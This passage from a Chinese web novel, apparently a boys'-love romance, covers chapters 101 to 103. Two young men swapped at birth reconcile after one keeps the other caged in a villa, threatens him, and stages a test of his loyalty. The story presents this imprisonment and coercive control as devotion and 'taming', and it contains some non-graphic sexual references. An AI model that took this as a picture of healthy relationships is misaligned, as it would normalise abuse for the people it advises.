这次亲吻不用方闻钟躲了,铺天盖地的气息压下来,他根本没有任何与之抵抗的气力。 萧疏吻得疯狂,嘴唇离开时,两人之间拉丝。 “方闻钟,”吓到了人,让他不敢再说分手,萧疏才说:“你知道我用了多长时间和你在一起的吗?你知道我们认识了多久?” 方闻钟算不清,因为萧疏说了一个很长的,具体到多少天,多少个小时的时间。 他是从酒吧初见算起。 “这么久了,你还不明白,你是我费尽心机打败一切心魔将你留下来的,你以为是你纠缠我?不,不是你赖在我身边,而是我心里想的全是将你困住,将你心甘情愿地蛰伏在我这里。” “我要你,一辈子都陪着我,如果你觉得你欠我,那我只要你的人。” “方闻钟,这不是你的选择,而是我的要求。” “你必须做到。” 萧疏字字句句狠厉,方闻钟却从中听明白了,萧疏爱上了他,所以不想分手不想让他离开,他还想和他有长长久久的以后,方闻钟听得开心极了。 可却流下更难过的眼泪。 “萧疏,这一切都是我的错,反正一开始你又不喜欢我,全靠我逼你,各种方式接近你烦你,我配不上你,”他摇着头,“我不想以后你恨我,我也不想日日活在愧疚里,你对我的感情还没那么深,不如趁早放开,还有其他余地。” 当方闻钟说,‘你对我的感情还没那么深’,萧疏的眼睛红了。 方闻钟看到了瞬间变化,心里被刺得生疼。 萧疏不会落泪,哪怕他眼眶泛红,整个人在微不可查地颤抖。 萧疏放开对方闻钟的困守,他欲直起身来,不小心跌了一下,方闻钟下意识手抬起来想扶。 萧疏一把将人胳膊甩开,他坐在他旁边,沙发压下去。 “你就是个胆小鬼,”萧疏侧头,凶狠地骂方闻钟,“你想的只是你的歉疚,你的害怕惶恐。” “方闻钟,你知道我在多少个日夜深思熟虑,才和你走到今天这一步吗?” “你经历的一切我都经历过,我的挣扎痛苦不比你少一分,为什么?因为我喜欢你。” “如果我对你没感情,如果,如果我只是有一点点喜欢,我都可以早早放手,或者,报复你。” “可是,方闻钟……” 方闻钟耳朵里第一次清晰地听到萧疏的告白,听到他的剖析心声。 “你怎么就不信我的爱已经瓜熟蒂落,而不是生根发芽……” 萧疏站起来,最后看了他一眼,“我们经历过生死,”所以还有什么放不下的。 这是他给方闻钟最后的劝告,方闻钟捂着脸,等人走了,才趴下去僵硬如石。 他在心里哭得痛不欲生。 方闻钟又回到了笼子里,这次不是他自己进去的。 他跟在萧疏身后,想和他一起上床,萧疏推开他,萧疏难得这么生气,“滚!不是爱躲吗?爱藏?” “要离开?” “滚回你的笼子里去,想不清楚就别回来。” “在这件事情没解决前,你休想走出别墅一步,方闻钟,你跟我进来的那一刻开始,你的结局就只有一个,打断骨头,我也会把你留在身边。” 方闻钟在笼子里睁眼望着天花板,他忽然再一次疯狂地意识到了萧疏的好。 萧疏说,萧家就在山下,可是不让他见,不让他出去回去,他说事情解决了他也会将他留在身边,意思时,即使恢复身份,即使他们依旧保持恋爱关系,但方闻钟别想回到萧家。 最好的可能是一起回方家。 为什么? 萧疏为什么不让他见亲生父母。 只有一个原因。 他们不要他,方闻钟想明白这个,并没有多少心酸,只是又开始心疼萧疏。 萧疏说他们有了乐乐,那偶尔提起的欢欢,肯定不重要。 萧疏就是在不重要、被忽视下长大。 萧疏不说他的亲生父母同样也不爱他,只说他要把他困在身边,只说他对他强烈的不正常的占有欲。 这是他粉饰过的谎言,如今全被方闻钟看穿。 他怎么那么好,方闻钟爱他的想为他去死的念头达到顶峰,可要死做什么,萧疏要的不是这个。 门突然被推开,方闻钟惊起额头。 萧疏将自己的手机递给他,来电显示,方言诩。 方闻钟愣住。 “她找你。” 萧疏说,他只是把方家父母调出去查他们的身份,给方言诩找了点麻烦忙工作,但并没有阻止方言诩,以及方闻钟的朋友们,找他。 他们失去联系很久了,在那些人眼里,方闻钟就是失踪。 如今找到萧疏这里也不容易,萧疏今天故意接到方言诩的电话,在此之前,何煜和杨钧泽,已经联系过他无数次,被拒接。 手机塞方闻钟手里,方闻钟却没抓牢,掉地上了,咚的一声。 方闻钟不知道方言诩要说什么,电话那头,好久没人出声。 方闻钟不说话,哪怕萧疏抬下巴示意,他可以和她聊天,但方闻钟始终闭口不言,甚至不发出一丁点他存在的声音。 电话挂了,对方不想再等。 忙音一过,萧疏捡起手机,饶有兴致,忽然问方闻钟,“我在了,害怕说什么不方便?要不我出去让你们重新联系?方闻钟,想要你的手机吗?想要和外界取得联系吗?” 方闻钟摇头。 “欲擒故纵?” “因为你不喜欢,我始终是你的,”方闻钟将额头,轻轻靠在萧疏拿着手机的那只手上。【你现在阅读的是 】 100-110 第101章 天造地设的疯子与傻子。 方闻钟也是有人找有人担心的。 何煜他们都急死了,纷纷猜测,是萧疏把方闻钟抓走了! 因为他发现了一个大秘密! 调查方闻钟的行踪,不知不觉就查到萧疏身上,可两人实在找不到,出去旅个游就消失了,何煜查萧疏查得深了些,就叫他发现让他睡不着觉的真相。 萧疏,和方闻钟,是抱错的孩子! 萧疏是方家大少爷,方闻钟顶替了他的身份。 萧疏做过的几分血缘关系鉴定,全被何煜查出来,萧疏那个心机深的,那么早就知道了,那他,那他会不会报复伤害方闻钟啊? 何煜只有这一个害怕的念头。 虽然说方闻钟不是方家大少爷了,但他们还是朋友啊,顶多,以前对萧疏的小瞧,现在全变成了恐惧。 他没什么对萧疏不好意思的,大不了萧疏找他麻烦就是了,但方闻钟和萧疏在谈恋爱,并且经历赛车一事,两人黏糊得要死,可萧疏明明在赛车前就知道了一切,那他…… 一切不会是萧疏的算计吧? 算计着让方闻钟爱上他,然后抓走方闻钟,接下来……何煜想的把自己吓坏了,他六神无主,杨钧泽那玩意儿还不在国内,只有他一个人,何煜慢慢接近了原剧情,此时担心方闻钟担心得要死。 想立马找到他! 但他也找不到萧疏,最后想了一个办法,方言诩貌似还不知情,方言诩给萧疏打电话的话,那是他亲姐姐,萧疏应该会接的吧? 果然! 萧疏接了,何煜早让手下人定位,那么长的通话时间,还不好查到萧疏在哪里? 确定了他们的位置,何煜马不停蹄地告别一头雾水的方言诩,立马带人就要往山里跑! 方言诩刚开始很模糊,后来,忽然站起来,摸着自己跳得有些过快的有些轻微疼痛的心脏,皱着眉,“我离开一个月,公司暂时交给你,”她对副总下命令,阔步离开,甩上车门。 别墅外的小黄狗忽然疯狂吼叫,方闻钟在卧室里都听到了,许久没人管,难道萧疏又不在? 今早他没见到萧疏,他也还没出去过,依旧有气无力地躺在笼子里。 后来,小黄狗终于不叫了,方闻钟沉沉地想闭上眼,卧室门被撞开,进来一个他意想不到的人! 何煜一看到方闻钟被关在铁笼子里!一阵叽里咕噜尖叫怒骂,“操他妈的,方闻钟,萧疏,操操!可终于被我找着了!” 他嘴里没半句成型的句子,方闻钟傻乎乎地看着来人,没反应过来,当自己做梦呢。 何煜急切地打开笼子,幸好笼子没锁,笼子里的链子,也没捆住方闻钟。 何煜脸色变来变去皱成包子,扶起方闻钟,“你有没有事啊?” 不待方闻钟出声,他又火急火燎,没事才怪了!看方闻钟这副被虐待过的样子,脸色白成纸,两个哭红的眼睛比兔子还红,突兀地挂在脸上像不会动,方闻钟人都瘦了,软趴趴的何煜扶他时,他没一点力气。 何煜心里怒火飙升,对萧疏的歉疚失去,全变成了恶毒,“他妈的萧疏对你做了什么!老子弄死他!” “方闻钟,你不会傻了吧!”何煜着急地猛一拍方闻钟的脸。 方闻钟听到骂萧疏,眼神终于清明,一把抓住何煜的手。 何煜一惊。 “你怎么来了,”方闻钟思虑半晌,问道。 何煜心里憋了太多太多话要说,可时间来不及啊,他刚让人把小黄狗抓住,要是待会儿引来萧疏怎么办,先赶紧带方闻钟离开啊! “待会儿再说,”他把方闻钟拖出来,可方闻钟不走。 方闻钟强硬地拒绝他何煜又不是把人直接打晕过去扛走……别说,他还真这么想过。 方闻钟压下他的手,又问了一遍:“你怎么来了?” 眼看不跟他说清楚以方闻钟的执拗现下是走不了了,何煜跑出去看看楼下,手下人跟他示意,周围没人,他稍放松了些。 看来萧疏不在,他没有打草惊蛇,用方言诩的号码打通的那通电话,查到定位,没叫萧疏提前察觉到。 他们还有时间,他一定会悄无声息地带方闻钟逃出去!才不叫萧疏的报复成功。 “我先说,你现在知道你和萧疏的身份有问题吗?”何煜心提起来。 方闻钟的回答让他很惊讶,“你也知道了?”方闻钟轻轻佻眉,他这个动作,非常像萧疏。 何煜看得不得劲,“萧疏告诉你的是吧,他是不是说你对不起他,他是不是要折磨报复你?” “我跟你说,”何煜将他准备的东西拿出来,“我查萧疏的时候发现他早早就开始调查你,看,这是他第一次做的你和萧家人的亲子鉴定,时间够久吧,那时候我没记错的话你们才在一起?” “这张,是萧疏和方言诩的,刚好在赛车前不久,这还不能说明什么吗?” “还有还有,你屁股上有个胎记?” 方闻钟狠狠挑眉。 何煜摸鼻子,“我当然没看过啊,这不是查萧疏的时候发现萧疏有这个图片,才对你起疑的吗,你想想,他是什么时候发现你的胎记的?是不是在发现之后才答应你的包养?” “方闻钟,他不爱你啊!他就是疑心你的身份才接近你!接下来他的每一步都不纯粹,他就是靠近了解你,然后用尽心思让你的心放到他身上,他利用手段让你爱上他的!” “方闻钟,我猜,你赛车出事的时候肯定也有萧疏的作为,不然哪会那么巧!萧疏哪里再能找到那么好的机会制造你们生死攸关,让你从此对他死心塌地!” “闭嘴!”方闻钟忽然生气,厉声打断何煜。 吓了何煜一跳,半口气没喘上来。 “你不许这么说他!”方闻钟直直喘着粗气,“那时候,我该死!”他如此说。 车子出事,他走小道,通通和萧疏一毛钱关系都没有,反而是萧疏不计前嫌救下他! “好吧,”何煜:“这个我也只是猜测。” “但是方闻钟,你敢说你被他骗到这里来不是被他囚禁了!”何煜恨铁不成钢,“萧疏心里肯定很恨你,你越爱他他越能借此报复折磨到你!” “那不是我应得的吗,”方闻钟抬起脸,眼神阴郁。 “呃,”何煜一滞,半晌都不知道说什么了。 方闻钟这家夥怎么这么死脑筋啊,“我的少爷啊,你赶紧跟我跑吧,道德感这么高做什么,你又没对萧疏真的造成过很大伤害,再说,抱错又不是你的错,你也给他花了几千万了,跟我走吧。” “再待下去,再待下去,萧疏会把你逼疯的!日后他回到萧家,你更没有好日子过!” 何煜也越说越狠,越说越笃定。 方闻钟摇头,“我不是少爷,”他推何煜,“你不用管我了。” 气得何煜一把将他捞过来,“方闻钟,你他妈的是不是朋友啊!就算,就算你不是方家的亲生孩子,但我们从小一起长大啊,我何煜是那么不讲义气的人吗?” “快快!别纠结了!再纠结,萧疏要来了!” 何煜拉方闻钟时,之前展示的那些证据推搡在方闻钟怀里,方闻钟一看,萧疏给他的,只是结果。 现在却是萧疏知道这一切的一步步过程,具体到哪一天,什么时间,查了什么。 方闻钟刚开始心不在焉,很快,愣了! 任凭何煜怎么拉他都拉不动。 萧疏第一次拍他身上的胎记,是什么时候? 是那天他耍手段英雄救美,被萧疏发现,萧疏将他揍了,扛进旅馆准备给他教训,却脱了他裤子看到了胎记。 那时,他的反应应该是极其震惊的吧。 再回想,方闻钟才能明白,萧疏当初的突然停手。 那天他拔了一根他的头发,方闻钟还记得。 可是为什么萧疏借此答应他的包养了,之后和他关系越来越近?如果之前萧疏全被他强迫,那他当时的反应不会那么温和? 除非,除非萧疏一开始,就喜欢他…… 方闻钟揪着自己心口的衣服,扑簌落泪。 萧疏一开始,就对他有一点点喜欢。 方闻钟如此确定,所有画面一一回现。 空中餐厅,他装醉,让他拆掉腕带,最后才抓住他的手好脾气地惩罚他吃掉几片花瓣,萧疏很能喝。 酒吧一百万点歌,他只唱他想听的,萧疏后来耳朵上有一个小黑点,方闻钟回忆起来,是他那晚咬住他的耳环,扯破的,可萧疏从未说过。 逼着他喊‘我是大傻逼我爱萧疏’,其他酒肉朋友们,拿拍的视频当笑柄,嘲笑方闻钟,可萧疏这个发起者,却再未提过视频也未外传过。 他要是对他没有喜欢,不会热吻十分钟。 萧疏的骄傲不会让他在这方面轻易妥协。 潜水馆,害怕他出事,方闻钟故意闹他也多次救。 学校里,方闻钟抢走他的护腕,萧疏表面不高兴,实际从未指责过他,任由方闻钟当着老师同学的面自称男朋友,帮他出柜,萧疏几乎是放纵了方闻钟一切行为,只不过现在看起来才这么明显,当初还以为形势所逼…… 惩罚他的方式,也只是带着情趣意味的打耳钉,然后他们有了同款。 方闻钟哭得肝肠寸断,他骚扰般地给萧疏打视频,萧疏从来没有拒接或挂断过,酒吧那么犯蠢,找人街头堵他,萧疏把其他人都打得起不来身,可气急了,挥向他的拳头还是减了力道。 方闻钟那么排斥旅馆的卫生和脏兮兮的床,可是他膝盖下,永远垫着萧疏的马甲…… 萧疏的喜欢和心软,全部藏在不动声色的一举一动里,那是他方闻钟花再多钱也买不来的态度,萧疏刚开始,就对他那么好,可是他还带着强迫玩弄性质地缠上萧疏。 萧疏发现他屁股上的胎记,点着烟一根一根抽,看他时,他在想什么。 萧疏第一次和他做,方闻钟主动勾引的,萧疏那天恰好确定,方闻钟就是萧家的亲生孩子,萧疏试探地问起过方闻钟方家父母,方闻钟傻子似的一点没意识到。 他答应了他的包养,之后他们的行为相处可能不纯粹,可能是萧疏喜欢震惊下主动入局,想再了解。 但他对他的感情,肯定日益渐深。 方闻钟煮好馄饨,送去学校给萧疏时,萧疏躲他,那时他还很委屈,虽然很快被萧疏半夜回来哄好了,还有他为萧疏做的那副玻璃画像,萧疏当时久久注视着他,然后抬起他下巴亲吻了他。 情绪很淡,但为什么? 因为萧疏想爱不能爱,眼前的人,方闻钟,是他养父母的亲生孩子! 他很可能还是方家的亲生孩子!他们身份这么错乱,萧疏在清醒中看着这一切发生。 直到见到他姐姐,见到方言诩和方家父母,萧疏终于确定了,他的真实身份。 方闻钟那晚回家的时候,萧疏得知,他才是方家的孩子,方闻钟拿走了他的一切,萧疏喝了很多酒,哭了,咬了方闻钟脖子。 方闻钟现在觉得那对萧疏该多残忍,尤记得萧疏打他一巴掌时,他还有点昏头昏脑,萧疏说他欠他的…… 方闻钟在姐姐面前那样撒娇炫耀,那是一把把刺向萧疏的刀。 萧疏对方闻钟爱恨交杂,当时却只是简单打了方闻钟一巴掌。 方闻钟哭得太痛苦太离奇,何煜不知怎么了,他有点被惊到了,“方,方闻钟……” 萧疏从怀疑身份的那一刻起,直到最终确定,都没有想过对方闻钟做不好的事,他所有想的,只是对方闻钟的爱…… 方闻钟切切实实觉得,那时候的他,多幸福,身在福中不知福。 方闻钟愿意相信车祸后山体滑坡,萧疏和他困在山壁之间萧疏问出的那些话,一个人逃生的机会,是对方闻钟的考验。 方闻钟当时选择了萧疏,所以萧疏放下了一切,带他走。 带他走上相爱的一条路,而不是仇恨。 方闻钟终于明白了萧疏一路走来的路程,他相信了萧疏说过的,“你是我费尽心机打败一切心魔留下来的……” “不是你缠着我,是我要你。” “我的挣扎痛苦不比你少一分,我经过了深思熟虑才和你走到这一步。” “我们经历过生死,我的爱瓜熟蒂落。” 方闻钟爆哭,他看到了萧疏的爱与挣扎,他看到萧疏一步步朝他走来的被他忽视过的脚印,他走了那么那么远,都叫方闻钟忽略掉了。 还对他说:“反正你对我的爱又没那么深……” 他在侮辱萧疏,也小瞧了萧疏,萧疏说得没错,走到今天这一步,萧疏能在别墅里对他好,教他如何爱一个人,在他被爱意包围下说出真相,该想的该考虑的他早想清楚了,他的决定在山上救他的那一刻就清晰瞭然。 反倒是方闻钟,畏缩害怕,说是愧疚、不想让萧疏恨,说白了是他没勇气,没勇气站在萧疏身边,承受一切可能好的坏的结果。 方闻钟哭得嗓子哑了,深深吸气,好久好久,他才让自己慢慢平复一点心情。 萧疏得知身份真相的时候,从未主动接触过方家,却一直和方闻钟在一起。 现在,他更是把方闻钟抢来这里,让他永远陪着他。 萧疏在家庭和方闻钟之间,先选择了方闻钟,方家都被排到了方闻钟后面。 那方闻钟还有什么不知足,萧疏爱他,萧疏想清楚了,那他就不顾一切地陪着他。 方闻钟忽然抬头,往前走了一步。 似乎有所感,下一步,萧疏从楼梯口上来了。 何煜惊恐,“你你……”萧疏什么时候出现的啊!他的人怎么没反应! 他一下张开手,视死如归地挡在方闻钟身前,让萧疏有什么冲着他来,别想继续囚禁折磨方闻钟。 看到萧疏出现,方闻钟笑了一下。 何煜蠢,他明白了,何煜能来别墅,是萧疏故意引他来的,为什么,可能就是为了逼他一把。 走,还是留下来? 果然,萧疏说:“方闻钟,给你两个选择,今天你跟着他走,我们既往不咎,你放心,我没那么小气,以后不会再找你麻烦。” “赶紧走啊,”何煜转身,小声拉方闻钟。 “还有呢,”方闻钟眼睛眯起来,急切地说。 “还有,过来,”萧疏命令。 方闻钟想都没想,就想跑过去,何煜连衣角都没抓到。 何煜想让方闻钟明白的是萧疏可能堆积起来的恨,方闻钟却确定了萧疏早把恨压下去的爱。 他不堪、废物、一事无成、配不上萧疏,以前还给萧疏带去很多困扰,但萧疏喜欢他,要他,那他就坚定地走向他。 未来慢慢考虑,回方家,不被接受嬉笑羞辱他都认了,被萧疏日后再怎么着他也认了。 只要现在,萧疏让他过去,那他就勇敢地站在他身边。 他们就是天造地设的疯子与傻子。 方闻钟拉起萧疏的手,笑道:“你去了哪里?终于来了。” “嗯,”萧疏一下一下摩挲着方闻钟的眼角,“回来了,以后还想跑吗?” “不跑了。” “想清楚了?” “想清楚了。” 萧疏抱住人,何煜被他彻底地忽视,露出一个胜利者的微笑。 调教驯服第二阶段,结束,方闻钟出关了。 萧疏就是让他知道真相,还能保持勇气和傲骨继续陪着他,是他的爱给方闻钟底气的。 可是全靠嘴说出来的方闻钟没那么相信,那就让他慢慢察觉他们这一路走来所有的异常。 萧疏对他有点喜欢,又知身份有疑入局挣扎,最后确定深爱方闻钟,将他强取豪夺! 他所有的行为,都有感情依据,如今天衣无缝,终于完美闭合。 萧疏要的,不是一个对他永远屈服歉疚的爱人,他要一个鲜活的,勇敢的,全无保留的方闻钟。 如果方闻钟没有勇气和底气,那他就从头到尾编织一个独属于他的网。 让他安全着陆。 萧疏拥吻着人两人缠缠绵绵离开了,卧室房门砰的关上。 何煜一个人被关在里面。 何煜:“?” “?????” “没人管我死活了?”棋子不知道,棋子的使命已结束。 第102章 和媳妇儿一起回家 方闻钟靠在萧疏肩膀上,夜晚微风吹着山顶很凉草地上还有露水。 他们坐在椅子上,脚下是不甘示弱的小黄狗,新奇地闻着新出现的一个人,绕方闻钟跑圈圈,最后两只前爪搭在方闻钟膝盖上,方闻钟终于摸到了小黄狗的头。 他被放出来了,走出别墅的那一刻,夕阳漫天,抬头一片橘红色,方闻钟被晒得暖洋洋的,有些睁不开眼。 太阳落下去,他的‘太阳’却一直在,他走向萧疏。 萧疏将两人身上的毯子扯了扯,把方闻钟那边继续包裹得紧了点,方闻钟松开小黄狗,微弱地偏头,鼻子嘴巴全埋进萧疏的脖子。 深深吸了一口。 萧疏抓着他的左手,有点用力。 从天亮坐到天黑,方闻钟说:“这是我第一次好好看山上的景色。” 萧疏说:“我也是第一次。” 方闻钟就笑,原来萧疏之前也没有多余的心思花在其他方面,他也被“困”在别墅里。 “萧疏,接下来你有什么打算?”方闻钟问出这些时,异常平静。 “回方家,”萧疏:“你爸妈已经去调查我们的身份了,之后回去名正言顺。” 方闻钟起身,轻蹙着眉,“是你爸妈。” 萧疏轻笑了一声,没有再说什么,他对亲情,早失去了欢天喜地的好奇和准备。 “那我呢?”方闻钟继续玩着萧疏的手指。 “和我一样,”萧疏目视前方,“你依旧是方家的儿子,我想他们会愿意接受一个新的孩子,而不是赶出去一个。” 方闻钟被震狠了,“我不要,”他急切地说:“我不要再抢再占你的东西!” 萧疏看他,“不是你要,方闻钟,是我想这样,你又不听话了吗?” 方闻钟依旧接受不了,可他无法反驳萧疏,他真的不愿意再光明正大地待在方家,有他在,以方言诩和父母的善良,他们一定会畏手畏脚,萧疏也会很难幸福。 萧疏捧着他的脸,额头相抵,“方闻钟,我最想要的,不是姐姐,不是父母。” “我也想要有情感依托,那个人,只有你,你怎么就不信呢,你在我这里,比其他都重要。” 说得方闻钟又要眼泪汪汪,“可是……” “没有可是,要么我们两人都别回去了,”萧疏道。 方闻钟只好把所有话咽下去。他决定了,回方家,他一定要做个小透明!任何时候都站在萧疏这边!不让他难做。 “回去你就不是唯一的方少爷了,外界肯定会知晓,害怕引来奚落嘲笑吗?”谣言泛滥,方闻钟要接受这些失落和打击。 方闻钟摇头,“这不是应该的吗?” 萧疏严肃,“我是问你怕不怕。” 方闻钟想了许久,抬头,他还在萧疏怀里,他的手永远被萧疏紧紧握着,他嗓子紧绷,“不怕!”像发誓一样差点破音。 “不怕,萧疏,只要你在我就什么都不怕,那些对我也不重要,”现在最重要的只有你。 萧疏笑了,他鼓励地摸摸方闻钟的后脑勺。 狗狗想往他们两人的腿之间挤,被方闻钟不动声色地一脚拨开,“萧疏,”他迟疑了一下,还是问道,这个问题的答案对他没那么重要,他就是想听一下。 “我们第一次做时,就我逼你吃柠檬之后,我勾引你上床,你那时候就知道了,我的真实身份,你在想什么?” 萧疏仰着头,头顶的星星遥远又透亮,他笑出声。 “你可真会。” “啊?” “你在床上,第一次,表现不错。” “我说正经的啊,”方闻钟恼了。 “正经?”萧疏斜晲他,“你一个第一次跟我上床喊我萧爸爸的人跟我谈正经?” 方闻钟脸爆红! 两人如今什么都做过了,更羞耻的事说了做了不少,可方闻钟还是羞到弯腰抱起狗,就想跑。 “哈哈哈哈哈哈哈,”萧疏的笑声像一阵轻飘飘的羽毛,扫过方闻钟的耳廓,他的胳膊被笑容满面的萧疏抓住了。 “我在想,”萧疏抬头,方闻钟站着低头,“我在想,我和你之间上过床,那就注定不死不休。” “我们之间没有和平解决一说,要么,我弄死你,要么,我甘愿低头,而方闻钟。” “你从未让我失望过,我甘愿为你低头。”- 方闻钟学着抽了一根萧疏的烟,他从萧疏手里接过来,猛吸了一口。 然后就在床上大口咳嗽。 咳得整个后背露出来,莹润光滑,白皙之上布满红梅。 “为什么要学?” 方闻钟忽然二话不说,利落转身,低下头,萧疏一把抓住他的头发,脸色要变未变。 “方闻钟!” 他们之间没有互相为对方口过,这是方闻钟第一次这样做,很生疏,他却心甘情愿,彷佛乐意极了。 “喂!他妈的有没有人管管我啊!”何煜在别墅里无聊地走来走去大声喊叫。 萧疏和方闻钟突然好得如胶似漆,何煜大受震撼。 看不懂。 但他再没眼色,也能看出来,方闻钟不像是被报复的样子。 萧疏,好像也不恨方闻钟? 奇怪。 他不是来营救方闻钟了吗,怎么突然萧疏就出现了,他的人被制服了,怎么突然方闻钟就像想通了,跑到了萧疏怀里? 何煜在一楼沙发上躺了一夜,还没明白,他能查到所有数据追着定位来这里,全是萧疏故意的,但他知道了,那两个狗男男现在好得很!不需要他插手。 他黑着脸离两人那么远,还能听到他们叫|床。 清晨,一通电话打到了萧疏手机上。 萧疏闭眼,方闻钟皱着眉,轻动了一下,嘶地抬起身,胳膊伸过去,搭在萧疏光裸的胸膛,接起一直响个不停的手机。 “干嘛?”他娇里娇气。 连是谁都没看清。 方言诩:…… 她准备了好多话要说,连态度都开始温柔镇定,想要先安抚萧疏,一路开车过来,她怀疑何煜怀疑萧疏和方闻钟,方言诩要动手查,查到的东西比何煜深多了。 甚至知道,萧疏和方闻钟出生时,是怎么意外抱错的。 她的心里很不平静,但她必须妥当地处理这件事。 不要再让萧疏受伤,或有过激行为,是的,方言诩第一考虑了萧疏,并不是她不疼爱方闻钟了,正是因为疼爱,现在才必须安抚好萧疏的情绪。 那方闻钟就不得不退后一步,被她暂时忽略。 方言诩脸上很少有这种踌躇不定,痛苦难安的样子,知道真相,知道萧疏沉溺了很久,而方闻钟傻傻的什么都不清楚,方言诩为两个人都难受。 一边,是她的亲弟弟,过去二十几年受了很多苦。 一边,又是她从小宠到大的方闻钟,方闻钟在外面不如何,但在家里,是姐姐的小甜心,是父母的乖宝宝。 可这个乖宝宝竟然一开始就对萧疏做那样过分的事,方言诩很生气,越发觉得他们之间复杂,连她一向处理那么杂乱工作的人,一时间,都觉得有些棘手。 最最关键是,方闻钟很喜欢萧疏,那萧疏呢? 方言诩所有话都憋在嗓子眼,原来准备的利益、感情、道理,所有牌都派不上用场,电话那头方闻钟的声音,让她僵住了。 “谁?”萧疏被方闻钟压醒了,锋利的眉眼要睁不睁,一看,方闻钟抱着手机,已经快要继续睡着了。 还张着嘴。 萧疏笑了一下,从方闻钟手里接过手机。 “喂。” “我是姐姐。” “哦。” “萧疏,我是你姐姐。” “我知道啊。” 方言诩:“……” 一个两个的,都不省心,方言诩冷漠,“我马上到,你们两个给我起来,我们见面再谈。” “哦,”萧疏挂了电话,哄方闻钟起床。 方闻钟坐立难安地以小学生坐姿,坐在沙发上,旁边,萧疏饶有兴致地给大家倒水。 方言诩站在方闻钟对面,方闻钟吓死了,头都不敢抬。 何煜不知突然从哪里跑来看热闹。 “姐,姐……”方闻钟喊姐纯粹是下意识,他感觉他要挨揍了,但喊完才觉得不好,闭嘴脸又红又白,不知道该怎么说。 “萧疏,我们谈谈。”方言诩把方闻钟晾在一边,对萧疏说,她的语气不像命令,更像恳求。 萧疏态度很好,“可以,不过我们得快点,不然他就要被吓死了。”萧疏指了指方闻钟。 方闻钟顿时坐直坐好,方言诩心里轻笑了一下,“好。” 客厅只剩方闻钟和何煜,何煜戳戳他,“喂,现在什么情况啊?你和萧疏怎么办?” “我怎么知道?”方闻钟不想搭理他,但何煜好歹跑来帮他了,皱着脸,语气软糯,“萧疏不生我气了,我和他应该都会回方家吧,他才是方家正儿八经的大少爷,但我会继续待在他身边的,我姐……方言诩什么时候来的啊?” 何煜躺在沙发上,方闻钟说的每一句话他都能听清,但怎么就理解不了呢? 他有气无力道:“可能是跟着我来的吧。” 方闻钟晲了何煜一眼。 何煜一把起身狠狠搂住方闻钟脖子,本以为他们要像以前一样继续玩闹,没想到何煜认真说:“方闻钟,你真的会没事吧?你不要脑子一蠢就往火坑跳!” 方闻钟一愣,也笑了,任由何煜压着他,“你比我还蠢。” “放心吧,我没事,”萧疏才不会让他有事,方闻钟在心里得意地抬腿翘脚。 what? 方言诩歪头,萧疏说什么? 他们谈了很多,方言诩对他们一家没有发现错误而致使萧疏流落在外表达了很深的歉意,小心翼翼地关心他以前的生活、学习。 虽然这些方言诩早调查清楚了,但就是想再问一遍。 萧疏的态度让方言诩捉摸不透。 萧疏已经长大了,单纯表达亲情没有用,更何况,他们之间隔着二十几年的时间,才见过几次。 方言诩承诺,属于她的股份,她会直接给萧疏一半,以后萧疏有什么事,可以直接找她,她会无条件帮助。 至于父母,肯定也会像她一样给萧疏很多补偿。 不管萧疏要不要,但这本身就是属于他的东西。 “方闻钟?”萧疏试探挑眉。 方言诩狠狠压下心里的不舍,“你应该不会再对他怎么样吧?那让他平安离开好吗?” 方言诩也查到了,萧家,方闻钟的亲生父母,并不期待方闻钟回去,所以方闻钟被赶出方家,肯定会过得很不好,但没办法,他们都得强迫着自己接受这一切。 方言诩只是在心里再三肯定,自己一定会继续对方闻钟好的,只是不好再让萧疏察觉。 萧疏没吭声,方言诩抬头,祈求,“你们断了好吗?” 不要越牵扯对双方伤害越大。 “不好,”萧疏臭脸,方言诩一僵。 “他跟我回去,他是我新找的媳妇儿,跟我回方家不是理所当然?” what? 方言诩大脑宕机。 第103章 不吝啬地相爱 见到方家父母,方闻钟有些难过,一时看着他们担忧的脸色,想开口,但现在轮不到他第一个说什么。 方父方母刚调查清楚真相,就来找两个人了,恰好和方言诩他们撞到了一块儿。 方母看着方闻钟的手牵在萧疏手里,忽然想起来,比起两个人身世的问题,她之前还忽略了,他们两个人在好好谈恋爱,肯定也走到了最后一步,方母心如刀绞,狠狠闭上眼。 再睁眼,她和方父恢复了豪门大家长的样子。 “萧疏,你尝尝这个,”方母多次强迫自己把视线从方闻钟身上移过去,照顾萧疏。 他们以为萧疏是以方闻钟男朋友跟方言诩见面聚在一起的,所以他们这么炙热的目光,应该也不算出格吧。 当亲生父母的,看着自己的孩子,再想想他们分开了二十多年,哪怕此前再陌生……方母偏过头,手不动声色地擦了一下眼角。 但凡遇到一个定力差点的,在对面夫妻二人的注视下,这顿餐都吃不好。 方母伤心落泪,方父恨不得把萧疏盯出个窟窿。 方闻钟全程埋着头。 他将挑食的不想吃的东西,悄悄往旁边扒拉,萧疏给他夹过来时,他不好直接说‘不要’。 然后就见萧疏从他盘子里把他不吃的,极其顺手地端过去处理。 方闻钟听到了姐姐餐具落桌的声音,猜想到他们肯定都在看他,吓得他一抖,更不敢说话动作了。 方言诩不赞同的目光看向方闻钟,终于打破沉默,“方闻钟,自己没长手吗。” 方母觉得方言诩对方闻钟太严厉了,又觉得他们是不是有点冷落萧疏,方言诩还不清楚萧疏的身份吧,方母心里焦灼。 “妈,”方言诩忽然说:“萧疏是我弟弟,我知道了,他们也都知道。” 一语惊起千层浪,一时间,方母和方父都差点坐不稳。 “萧,萧疏。”他们齐齐喊人。 萧疏擦了擦嘴,终于正视二人,“很抱歉,我还没办法对你们叫出爸妈的称呼。” “没关系没关系。” “我和姐姐,还有你们,还有方闻钟,应该都知道了我们的身份问题,不需要再追究吧?谈来谈去挺没意思的。” “好好好。” “需要再做一份亲子鉴定吗?” “不用不用。” “方闻钟和我一样,继续留在方家,还有什么问题吗?” “没有了。” “那可以好好吃饭了吗?” …… 方父方母想要慢慢来,再跟孩子们说清身世问题的想法,就这样被突然打碎,伤心也不是,惊喜也不是。 回到家,方闻钟拉着萧疏,急急忙忙给他展示方家的一切,父母俩把女儿拉到一旁,说悄悄话。 方言诩早早猜到,父母之所以忽然去调查当年亲生孩子的事,肯定不是意外,其中全是萧疏的手笔,但她没说。 包括萧疏和方闻钟以及她怎么知道的,全被她简单糊弄过去了,意外查到的,查到就跟两人说了。 萧疏和方闻钟的感情很复杂,但方言诩知道,这些萧疏自己已经处理好了,且他不容许别人置喙,所以就让单纯的两父母,认为他们机缘巧合,相爱后突然得知意外。 “那还真得挺巧的,”一直提起着心,难受不已的方母攥着拳头握在手里,终于放松了些。 